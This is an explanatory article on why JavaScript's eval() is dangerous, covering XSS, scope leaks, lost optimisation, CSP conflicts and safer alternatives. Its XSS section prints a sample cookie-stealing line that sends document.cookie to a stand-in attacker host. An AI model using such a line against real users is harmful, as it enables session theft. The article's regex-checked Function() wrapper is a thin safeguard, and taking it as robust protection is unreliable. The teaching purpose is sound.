Skip to main content

Why is eval() dangerous?

What eval() does

The eval(code) function takes a string of JavaScript code and runs it as regular JS code while the program is running.

javascript
eval("console.log('Hello, world!')");

It is literally "a mini JavaScript interpreter inside JavaScript".

Why this is dangerous

The problem is that eval() executes arbitrary code, and any attacker who manages to inject their own string there can run any commands on behalf of your application.

1. A vulnerability for XSS / remote code execution

If user input reaches eval(), that's a disaster:

javascript
const userInput = prompt("Enter something:"); eval(userInput);

The user enters:

javascript
alert('Hacked!');

And the code runs.

And in the worst case:

javascript
fetch('https://attacker.com/steal?cookies=' + document.cookie)

The attacker gets the user's cookies and their authorization token.

This is called XSS (Cross-Site Scripting) or remote code execution.

2. A breach of isolation

eval() runs in the current context, meaning it has access to all the variables and functions of your script:

javascript
const secret = 'myToken123'; eval('console.log(secret)'); // prints the secret

If someone injects their own code, they get full access to the application's internal state.

3. Loss of performance optimization

Modern JS engines (V8, SpiderMonkey, JavaScriptCore) do heavy code optimization at compile time. But if you use eval(), the engine cannot predict what code will run → it has to disable optimization.

The result:

  • the code runs slower;
  • the garbage collector kicks in more often;
  • inline and JIT optimization is disabled.

4. Non-obvious scoping behavior

eval() runs in the current scope (with a direct call):

javascript
let x = 1; eval('x = 10'); console.log(x); // 10

But if called indirectly ((0, eval)(...)), it runs in the global scope:

javascript
let x = 1; (0, eval)('x = 10'); console.log(x); // 1 console.log(window.x); // 10

This makes the code unpredictable and hard to debug.

5. Safer and faster alternatives

eval() is often used to:

  • parse JSON (eval(jsonStr));
  • call a function by name;
  • evaluate an expression from a string.

But all these tasks can be solved with safe alternatives:

TaskSafe alternative
Parsing JSONJSON.parse(str)
Calling a function by nameobj[funcName]()
Dynamic logicMap or switch
TemplatesFunction() or template literals (interpolated strings)
Math expressionsA parser (math.js, expr-eval)

6. The Function constructor is also unsafe

People sometimes think new Function() is safer. But it also executes a string as code:

javascript
const sum = new Function('a', 'b', 'return a + b'); console.log(sum(2, 3)); // 5

It works, but if user data reaches it, the risk is the same as with eval().

7. It cannot be used under a strict CSP (Content Security Policy)

Modern sites often use a CSP, a security policy that forbids inline scripts and eval().

If the HTTP headers specify:

javascript
Content-Security-Policy: script-src 'self'

then trying to call eval() simply throws an error in the browser:

javascript
Refused to evaluate a string as JavaScript because 'unsafe-eval' is not allowed

Example: a safe alternative to eval()

Bad:

javascript
function runExpression(expr) { return eval(expr); } runExpression('2 + 3 * 4');

Good:

javascript
function safeEval(expr) { const allowed = /^[0-9+\-*/().\s]+$/; if (!allowed.test(expr)) throw new Error('Invalid characters'); return Function(`"use strict"; return (${expr})`)(); } console.log(safeEval('2 + 3 * 4')); // 14

Here the expression is checked against allowed characters beforehand.

Summary

ProblemWhy it's dangerous
An XSS vulnerabilityExecutes arbitrary code
Breaks isolationAccess to all variables
SlowDisables the JS engine's optimization
UnpredictableDifferent scoping
Incompatible with CSPForbidden on secure sites

The main idea:

eval() turns data into code, which means any bug or outside interference equals full control over the application. Never use eval() on data you cannot trust.

Short Answer

Interview ready
Premium

A concise answer to help you respond confidently on this topic during an interview.